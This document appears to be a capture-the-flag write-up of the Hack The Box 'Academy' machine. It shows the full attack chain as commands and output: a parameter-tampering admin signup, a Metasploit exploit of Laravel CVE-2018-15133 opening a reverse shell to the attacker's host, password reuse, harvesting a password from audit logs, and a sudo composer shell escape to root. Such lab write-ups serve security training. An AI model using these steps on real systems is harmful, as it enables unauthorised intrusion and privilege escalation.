Academy

TL;DR

  • Register as admin on the website by tampering the request
  • Find the staging subdomain (dev-staging-01.academy.htb)
  • Exploit CVE-2018-15133 on Laravel log viewer to get a shell
  • Find database password and take over cry0l1t3’s account with it
  • Find mrb3n’s password in audit.log
  • Exploit Composer to get root

User.txt

Reconnaissance

Let’s start by a Nmap scan:

magnussen@funcMyLife:~/academy$ nmap -sS -sV -sC -p- -vvv --min-rate 5000 --reason -oN academy.txt 10.10.10.215
# Nmap 7.60 scan initiated Sun Nov 22 12:18:13 2020 as: nmap -sS -sV -sC -p- -vvv --min-rate 5000 --reason -oN academy.txt academy.htb
Increasing send delay for 10.10.10.215 from 0 to 5 due to 142 out of 473 dropped probes since last increase.
Increasing send delay for 10.10.10.215 from 5 to 10 due to 185 out of 615 dropped probes since last increase.
Warning: 10.10.10.215 giving up on port because retransmission cap hit (10).
Nmap scan report for academy.htb (10.10.10.215)
Host is up, received echo-reply ttl 63 (0.093s latency).
Scanned at 2020-11-22 12:18:14 CET for 149s
Not shown: 53986 closed ports, 11546 filtered ports
Reason: 53986 resets and 11546 no-responses
PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Hack The Box Academy
33060/tcp open  mysqlx? syn-ack ttl 63
| fingerprint-strings:
|   DNSStatusRequest, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
|     Invalid message"
|_    HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.60%I=7%D=11/22%Time=5FBA4977%P=x86_64-pc-linux-gnu%r(
SF:NULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPO
SF:ptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0
SF:b\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVer
SF:sionBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequest,2B,"\x
SF:05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvali
SF:d\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SS
SF:LSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\
SF:x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TLSSessionReq,2B,"\x05\0\
SF:0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20
SF:message\"\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMB
SF:ProgNeg,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message
SF:\"\x05HY000")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(L
SF:PDString,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0
SF:\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20m
SF:essage\"\x05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(S
SF:IPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\
SF:x0b\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%
SF:r(NCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"
SF:\x05HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,
SF:"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\
SF:x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x1
SF:0\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(giop,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Nov 22 12:20:43 2020 -- 1 IP address (1 host up) scanned in 149.52 seconds

So we find 3 useful services:

  • SSH (22)
  • Apache (80)
  • MySQL (33060)

The website is a welcome page with a login and register page.

Website

Privilege escalation

First of all, let’s start by creating an account.

Register

Once log in, we land on a page with cyber security courses.

Training Page

There isn’t much to do on this page.

Let’s check for other pages with nikto.

magnussen@funcMyLife:~/academy$ nikto -h academy.htb
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          10.10.10.215
+ Target Hostname:    academy.htb
+ Target Port:        80
+ Start Time:         2020-11-22 12:40:01 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
+ Cookie PHPSESSID created without the httponly flag
+ /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-29786: /admin.php?en_log_id=0&action=config: EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This PHP file should be protected.
+ OSVDB-29786: /admin.php?en_log_id=0&action=users: EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This PHP file should be protected.
+ OSVDB-3092: /admin.php: This might be interesting...

There’s an admin page with a login form.

Admin

Let’s check the register form to see how it works.

Register Request

The roleid parameter probably defines the role of the created user, 0 is a low-privilege user, if we change the value for 1 we might be able to get an admin access.

Register Request Crafted

Let’s try to log in through the admin.php.

Admin Login

Admin page

Yeah, it worked!

Laravel log viewer (CVE-2018-15133)

Apparently there’s a subdomain called dev-staging-01.academy.htb. Let’s add it to our /etc/hosts and check it out.

magnussen@funcMyLife:~/academy$ vim /etc/hosts
10.10.10.215    academy.htb
10.10.10.215    dev-staging-01.academy.htb

Staging subdomain

This is Laravel log viewer.

Laravel is a PHP web framework, intended for the development of web applications following the model-view-controller (MVC) architectural pattern and based on Symfony.

We find some useful information with this log viewer like the APP_KEY, DB_DATABASE, DB_USERNAME, DB_PASSWORD.

[...]
APP_KEY: "base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0="
APP_DEBUG: "true"
APP_URL: "http://localhost"
LOG_CHANNEL: "stack"
DB_CONNECTION: "mysql"
DB_HOST: "127.0.0.1"
DB_PORT: "3306"
DB_DATABASE: "homestead"
DB_USERNAME: "homestead"
DB_PASSWORD: "secret"
[...]

If we google for exploit on Laravel we quickly find this exploit.

The RCE is due to an unserialized call on the potentially untrusted X-XSRF-TOKEN value, we can execute arbitrary code when decrypting certain files if we have access to the application key (APP_KEY).

Let’s try to get a shell access.

magnussen@funcMyLife:~/academy$ msfconsole



         .                                         .
 .

      dBBBBBBb  dBBBP dBBBBBBP dBBBBBb  .                       o
       '   dB'                     BBP
    dB'dB'dB' dBBP     dBP     dBP BB
   dB'dB'dB' dBP      dBP     dBP  BB
  dB'dB'dB' dBBBBP   dBP     dBBBBBBB

                                   dBBBBBP  dBBBBBb  dBP    dBBBBP dBP dBBBBBBP
          .                  .                  dB' dBP    dB'.BP
                             |       dBP    dBBBB' dBP    dB'.BP dBP    dBP
                           --o--    dBP    dBP    dBP    dB'.BP dBP    dBP
                             |     dBBBBP dBP    dBBBBP dBBBBP dBP    dBP

                                                                    .
                .
        o                  To boldly go where no
                            shell has gone before


       =[ metasploit v6.0.9-dev-                          ]
+ -- --=[ 2069 exploits - 1123 auxiliary - 352 post       ]
+ -- --=[ 596 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Search can apply complex filters such as search cve:2009 type:exploit, see all the filters with help search

msf6 > search laravel

Matching Modules
================

   #  Name                                              Disclosure Date  Rank       Check  Description
   -  ----                                              ---------------  ----       -----  -----------
   0  exploit/unix/http/laravel_token_unserialize_exec  2018-08-07       excellent  Yes    PHP Laravel Framework token Unserialize Remote Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/http/laravel_token_unserialize_exec

msf6 > use exploit/unix/http/laravel_token_unserialize_exec
[*] Using configured payload cmd/unix/reverse_perl
msf6 exploit(unix/http/laravel_token_unserialize_exec) > show options

Module options (exploit/unix/http/laravel_token_unserialize_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   APP_KEY                     no        The base64 encoded APP_KEY string from the .env file
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Path to target webapp
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(unix/http/laravel_token_unserialize_exec) > set APP_KEY dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
APP_KEY => dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
msf6 exploit(unix/http/laravel_token_unserialize_exec) > set RHOSTS academy.htb
RHOSTS => academy.htb
msf6 exploit(unix/http/laravel_token_unserialize_exec) > set VHOST dev-staging-01.academy.htb
VHOST => dev-staging-01.academy.htb
msf6 exploit(unix/http/laravel_token_unserialize_exec) > set LHOST 10.10.14.113
LHOST => 10.10.14.113
msf6 exploit(unix/http/laravel_token_unserialize_exec) > run

[*] Started reverse TCP handler on 10.10.14.113:4444
[*] Command shell session 1 opened (10.10.14.113:4444 -> 10.10.10.215:36336) at 2020-11-22 13:18:19 +0100


Yeah! We have a shell! Let’s go get that user!

Password reuse

Let’s perform some basic enumeration on the system.

msf6 exploit(unix/http/laravel_token_unserialize_exec) > run

[*] Started reverse TCP handler on 10.10.14.113:4444
[*] Command shell session 1 opened (10.10.14.113:4444 -> 10.10.10.215:36336) at 2020-11-22 13:18:19 +0100
python3 -c 'import pty; pty.spawn("/bin/bash")'

www-data@academy:/var/www/html/htb-academy-dev-01/public$ ls -alh /home
total 32K
drwxr-xr-x  8 root     root     4.0K Aug 10 00:34 .
drwxr-xr-x 20 root     root     4.0K Aug  7 12:07 ..
drwxr-xr-x  2 21y4d    21y4d    4.0K Aug 10 00:34 21y4d
drwxr-xr-x  2 ch4p     ch4p     4.0K Aug 10 00:34 ch4p
drwxr-xr-x  8 cry0l1t3 cry0l1t3 4.0K Nov 21 21:19 cry0l1t3
drwxr-xr-x  3 egre55   egre55   4.0K Aug 10 23:41 egre55
drwxr-xr-x  2 g0blin   g0blin   4.0K Aug 10 00:34 g0blin
drwxr-xr-x  7 mrb3n    mrb3n    4.0K Nov 21 20:16 mrb3n
www-data@academy:/var/www/html/htb-academy-dev-01/public$ cd ../../
cd ../../
www-data@academy:/var/www/html$ ls -alh
ls -alh
total 20K
drwxr-xr-x  4 root     root     4.0K Aug 13 12:36 .
drwxr-xr-x  3 root     root     4.0K Aug  7 14:30 ..
drwxr-xr-x 12 www-data www-data 4.0K Aug 13 12:42 academy
drwxr-xr-x 12 root     root     4.0K Aug 13 12:40 htb-academy-dev-01
-rw-r--r--  1 www-data www-data   50 Aug  9 13:06 index.php
www-data@academy:/var/www/html$ cd academy
www-data@academy:/var/www/html/academy$ ls -alh
total 280K
drwxr-xr-x 12 www-data www-data 4.0K Aug 13 12:42 .
drwxr-xr-x  4 root     root     4.0K Aug 13 12:36 ..
-rw-r--r--  1 www-data www-data  706 Aug 13 12:42 .env
-rw-r--r--  1 www-data www-data  651 Feb  7  2018 .env.example
-rw-r--r--  1 www-data www-data  111 Feb  7  2018 .gitattributes
-rw-r--r--  1 www-data www-data  155 Feb  7  2018 .gitignore
drwxr-xr-x  6 www-data www-data 4.0K Feb  7  2018 app
-rwxr-xr-x  1 www-data www-data 1.7K Feb  7  2018 artisan
drwxr-xr-x  3 www-data www-data 4.0K Feb  7  2018 bootstrap
-rw-r--r--  1 www-data www-data 1.5K Feb  7  2018 composer.json
-rw-r--r--  1 www-data www-data 188K Aug  9 11:57 composer.lock
drwxr-xr-x  2 www-data www-data 4.0K Feb  7  2018 config
drwxr-xr-x  5 www-data www-data 4.0K Feb  7  2018 database
-rw-r--r--  1 www-data www-data 1.2K Feb  7  2018 package.json
-rw-r--r--  1 www-data www-data 1.1K Feb  7  2018 phpunit.xml
drwxr-xr-x  4 www-data www-data 4.0K Nov  9 10:13 public
-rw-r--r--  1 www-data www-data 3.6K Feb  7  2018 readme.md
drwxr-xr-x  5 www-data www-data 4.0K Feb  7  2018 resources
drwxr-xr-x  2 www-data www-data 4.0K Feb  7  2018 routes
-rw-r--r--  1 www-data www-data  563 Feb  7  2018 server.php
drwxr-xr-x  5 www-data www-data 4.0K Feb  7  2018 storage
drwxr-xr-x  4 www-data www-data 4.0K Feb  7  2018 tests
drwxr-xr-x 38 www-data www-data 4.0K Aug  9 11:57 vendor
-rw-r--r--  1 www-data www-data  549 Feb  7  2018 webpack.mix.js
www-data@academy:/var/www/html/academy$ cat .env
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
APP_DEBUG=false
APP_URL=http://localhost

LOG_CHANNEL=stack

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=academy
DB_USERNAME=dev
DB_PASSWORD=mySup3rP4s5w0rd!!

BROADCAST_DRIVER=log
CACHE_DRIVER=file
SESSION_DRIVER=file
SESSION_LIFETIME=120
QUEUE_DRIVER=sync

REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379

MAIL_DRIVER=smtp
MAIL_HOST=smtp.mailtrap.io
MAIL_PORT=2525
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null

PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1

MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"

Ok, we have the database’s password, let’s try it out on a user.

Previously, when we managed to log in as admin on the website, we saw an interesting message: “Complete initial set of modules (cry0l1t3 / mrb3n)”, these accounts might be interesting to take over. Let’s check their homes, to see where the user.txt is located.

www-data@academy:/var/www/html/htb-academy-dev-01/public$ cd /home
www-data@academy:/home$ ls -alh cry0l1t3
total 344K
drwxr-xr-x 8 cry0l1t3 cry0l1t3 4.0K Nov 21 21:19 .
drwxr-xr-x 8 root     root     4.0K Aug 10 00:34 ..
lrwxrwxrwx 1 root     root        9 Aug 10 23:41 .bash_history -> /dev/null
-rw-r--r-- 1 cry0l1t3 cry0l1t3  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 cry0l1t3 cry0l1t3 3.7K Feb 25  2020 .bashrc
drwx------ 2 cry0l1t3 cry0l1t3 4.0K Aug 12 21:58 .cache
drwx------ 4 cry0l1t3 cry0l1t3 4.0K Nov 21 21:22 .gnupg
drwxrwxr-x 3 cry0l1t3 cry0l1t3 4.0K Aug 12 02:30 .local
-rw-r--r-- 1 cry0l1t3 cry0l1t3  807 Feb 25  2020 .profile
drwx------ 2 cry0l1t3 cry0l1t3 4.0K Nov 21 19:54 .ssh
drwxr-xr-x 2 cry0l1t3 cry0l1t3 4.0K Nov 21 19:51 .vim
-rw------- 1 cry0l1t3 cry0l1t3 7.7K Nov 21 20:31 .viminfo
-rwxrwxr-x 1 cry0l1t3 cry0l1t3 288K Nov  1 19:55 linpeas.sh
drwxr-xr-x 3 cry0l1t3 cry0l1t3 4.0K Nov 21 19:58 snap
-r--r----- 1 cry0l1t3 cry0l1t3   33 Nov 21 19:24 user.txt
www-data@academy:/home$ ls -alh mrb3n
total 40K
drwxr-xr-x 7 mrb3n mrb3n 4.0K Nov 21 20:16 .
drwxr-xr-x 8 root  root  4.0K Aug 10 00:34 ..
lrwxrwxrwx 1 root  root     9 Aug 10 23:41 .bash_history -> /dev/null
-rw-r--r-- 1 mrb3n mrb3n  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 mrb3n mrb3n 3.7K Feb 25  2020 .bashrc
drwxrwxr-x 3 mrb3n mrb3n 4.0K Oct 21 10:55 .cache
drwxrwxr-x 3 mrb3n mrb3n 4.0K Aug 12 22:19 .config
drwx------ 2 mrb3n mrb3n 4.0K Nov 21 20:16 .gnupg
drwxrwxr-x 3 mrb3n mrb3n 4.0K Aug 12 22:19 .local
-rw-r--r-- 1 mrb3n mrb3n  807 Feb 25  2020 .profile
drwxr-xr-x 3 mrb3n mrb3n 4.0K Nov 21 20:02 snap

Let’s try to log in with mySup3rP4s5w0rd!! to cry0l1t3 account.

www-data@academy:/home$ su cry0l1t3
Password: mySup3rP4s5w0rd!!
$ id
uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm)
$ ls -alh
total 32K
drwxr-xr-x  8 root     root     4.0K Aug 10 00:34 .
drwxr-xr-x 20 root     root     4.0K Aug  7 12:07 ..
drwxr-xr-x  2 21y4d    21y4d    4.0K Aug 10 00:34 21y4d
drwxr-xr-x  2 ch4p     ch4p     4.0K Aug 10 00:34 ch4p
drwxr-xr-x  8 cry0l1t3 cry0l1t3 4.0K Nov 21 21:19 cry0l1t3
drwxr-xr-x  3 egre55   egre55   4.0K Aug 10 23:41 egre55
drwxr-xr-x  2 g0blin   g0blin   4.0K Aug 10 00:34 g0blin
drwxr-xr-x  7 mrb3n    mrb3n    4.0K Nov 21 20:16 mrb3n
$ cat cry0l1t3/user.txt
4e798817333cfe7757bbaef980f9d4c5

Yeah! We have the user.txt

I AM ROOT

Audit log

As we saw, cry0l1t3 is a member of the adm group, let’s see which files we can access as a member of this group.

cry0l1t3@academy:~$ find / -group adm 2>> /dev/null
find / -group adm 2>> /dev/null
/var/spool/rsyslog
/var/log/auth.log.3.gz
/var/log/dmesg.1.gz
/var/log/syslog.2.gz
/var/log/kern.log.3.gz
/var/log/syslog.6.gz
/var/log/syslog.1
/var/log/kern.log
/var/log/dmesg.0
/var/log/syslog
/var/log/dmesg.2.gz
/var/log/apt/term.log.2.gz
/var/log/apt/term.log.3.gz
/var/log/apt/term.log.1.gz
/var/log/apt/term.log
/var/log/audit
/var/log/audit/audit.log.2
/var/log/audit/audit.log
/var/log/audit/audit.log.3
/var/log/audit/audit.log.1
/var/log/syslog.4.gz
/var/log/syslog.7.gz
/var/log/auth.log.2.gz
/var/log/auth.log.1
/var/log/syslog.3.gz
/var/log/auth.log
/var/log/syslog.5.gz
/var/log/kern.log.2.gz
/var/log/unattended-upgrades
/var/log/unattended-upgrades/unattended-upgrades-dpkg.log
/var/log/unattended-upgrades/unattended-upgrades-dpkg.log.1.gz
/var/log/dmesg.3.gz
/var/log/mysql
/var/log/mysql/error.log.5.gz
/var/log/mysql/error.log
/var/log/mysql/error.log.4.gz
/var/log/mysql/error.log.1.gz
/var/log/mysql/error.log.7.gz
/var/log/kern.log.4.gz
/var/log/cloud-init.log
/var/log/dmesg
/var/log/dmesg.4.gz
/var/log/auth.log.4.gz
/var/log/apache2
/var/log/apache2/error.log.5.gz
/var/log/apache2/error.log.9.gz
/var/log/apache2/error.log.2.gz
/var/log/apache2/access.log.9.gz
/var/log/apache2/access.log.7.gz
/var/log/apache2/access.log.5.gz
/var/log/apache2/access.log
/var/log/apache2/other_vhosts_access.log
/var/log/apache2/access.log.1
/var/log/apache2/error.log
/var/log/apache2/access.log.6.gz
/var/log/apache2/error.log.12.gz
/var/log/apache2/error.log.13.gz
/var/log/apache2/error.log.4.gz
/var/log/apache2/access.log.4.gz
/var/log/apache2/error.log.1
/var/log/apache2/error.log.3.gz
/var/log/apache2/access.log.3.gz
/var/log/apache2/error.log.10.gz
/var/log/apache2/error.log.6.gz
/var/log/apache2/access.log.2.gz
/var/log/apache2/error.log.8.gz
/var/log/apache2/error.log.11.gz
/var/log/apache2/access.log.8.gz
/var/log/apache2/error.log.7.gz
/var/log/apache2/error.log.14.gz
/var/log/kern.log.1

Ok, so we have access to a lot of logs. One log file might be interesting audit.log as we might be able to find some passwords, let’s check those logs, let’s see the commands that were executed with a tty.

I’ve struggled a lot on this part as I was searching for keywords like “password” or “pwd” but in audit.log those keywords doesn’t appear, instead you must look for messages with ‘comm="su”’ or ‘comm="sudo”’.

cry0l1t3@academy:~$ aureport --tty
aureport --tty

TTY Report
===============================================
# date time event auid term sess comm data
===============================================
Error opening config file (Permission denied)
NOTE - using built-in logs: /var/log/audit/audit.log
1. 08/12/2020 02:28:10 83 0 ? 1 sh "su mrb3n",<nl>
2. 08/12/2020 02:28:13 84 0 ? 1 su "mrb3n_Ac@d3my!",<nl>
3. 08/12/2020 02:28:24 89 0 ? 1 sh "whoami",<nl>
4. 08/12/2020 02:28:28 90 0 ? 1 sh "exit",<nl>
5. 08/12/2020 02:28:37 93 0 ? 1 sh "/bin/bash -i",<nl>
6. 08/12/2020 02:30:43 94 0 ? 1 nano <delete>,<delete>,<delete>,<delete>,<delete>,<down>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<down>,<delete>,<delete>,<delete>,<delete>,<delete>,<down>,<delete>,<delete>,<delete>,<delete>,<delete>,<down>,<delete>,<delete>,<delete>,<delete>,<delete>,<^X>,"y",<ret>
7. 08/12/2020 02:32:13 95 0 ? 1 nano <down>,<up>,<up>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<down>,<backspace>,<down>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<^X>,"y",<ret>
8. 08/12/2020 02:32:55 96 0 ? 1 nano "6",<^X>,"y",<ret>
9. 08/12/2020 02:33:26 97 0 ? 1 bash "ca",<up>,<up>,<up>,<backspace>,<backspace>,"cat au",<tab>,"| grep data=",<ret>,"cat au",<tab>,"| cut -f11 -d\" \"",<ret>,<up>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<right>,<right>,"grep data= | ",<ret>,<up>," > /tmp/data.txt",<ret>,"id",<ret>,"cd /tmp",<ret>,"ls",<ret>,"nano d",<tab>,<ret>,"cat d",<tab>," | xx",<tab>,"-r -p",<ret>,"ma",<backspace>,<backspace>,<backspace>,"nano d",<tab>,<ret>,"cat dat",<tab>," | xxd -r p",<ret>,<up>,<left>,"-",<ret>,"cat /var/log/au",<tab>,"t",<tab>,<backspace>,<backspace>,<backspace>,<backspace>,<backspace>,<backspace>,"d",<tab>,"aud",<tab>,"| grep data=",<ret>,<up>,<up>,<up>,<up>,<up>,<down>,<ret>,<up>,<up>,<up>,<ret>,<up>,<up>,<up>,<ret>,"exit",<backspace>,<backspace>,<backspace>,<backspace>,"history",<ret>,"exit",<ret>
10. 08/12/2020 02:33:26 98 0 ? 1 sh "exit",<nl>
11. 08/12/2020 02:33:30 107 0 ? 1 sh "/bin/bash -i",<nl>
12. 08/12/2020 02:33:36 108 0 ? 1 bash "istory",<ret>,"history",<ret>,"exit",<ret>
13. 08/12/2020 02:33:36 109 0 ? 1 sh "exit",<nl>

Yeah! We have the password for mrb3n (mrb3n_Ac@d3my!), let’s login to this account.

Composer privilege escalation

cry0l1t3@academy:/var/log/audit$ su mrb3n
Password: mrb3n_Ac@d3my!
$ id
uid=1001(mrb3n) gid=1001(mrb3n) groups=1001(mrb3n)
$ sudo -l
[sudo] password for mrb3n: mrb3n_Ac@d3my!

Matching Defaults entries for mrb3n on academy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mrb3n may run the following commands on academy:
    (ALL) /usr/bin/composer

Ok, we can use sudo on composer, let’s see if we can exploit that.

Composer is a tool for dependency management in PHP. It allows you to declare the libraries your project depends on and it will manage (install/update) them for you.

Thanks to GTFOBins we might be able to get root.

$ TF=$(mktemp -d)
TF=$(mktemp -d)
$ echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
$ sudo composer --working-dir=$TF run-script x
sudo composer --working-dir=$TF run-script x
PHP Warning:  PHP Startup: Unable to load dynamic library 'mysqli.so' (tried: /usr/lib/php/20190902/mysqli.so (/usr/lib/php/20190902/mysqli.so: undefined symbol: mysqlnd_global_stats), /usr/lib/php/20190902/mysqli.so.so (/usr/lib/php/20190902/mysqli.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
PHP Warning:  PHP Startup: Unable to load dynamic library 'pdo_mysql.so' (tried: /usr/lib/php/20190902/pdo_mysql.so (/usr/lib/php/20190902/pdo_mysql.so: undefined symbol: mysqlnd_allocator), /usr/lib/php/20190902/pdo_mysql.so.so (/usr/lib/php/20190902/pdo_mysql.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
Do not run Composer as root/super user! See https://getcomposer.org/root for details
> /bin/sh -i 0<&3 1>&3 2>&3
# id
id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
cat /root/root.txt
6041d2c11e96010c5074445c5fc83494

Yeah! We’re root!

This was a great box, the foothold and the user were easy, but getting access to mrb3n was more difficult but I’ve learned a lot on audit.log, thanks Egre55 & Mrb3n for the box!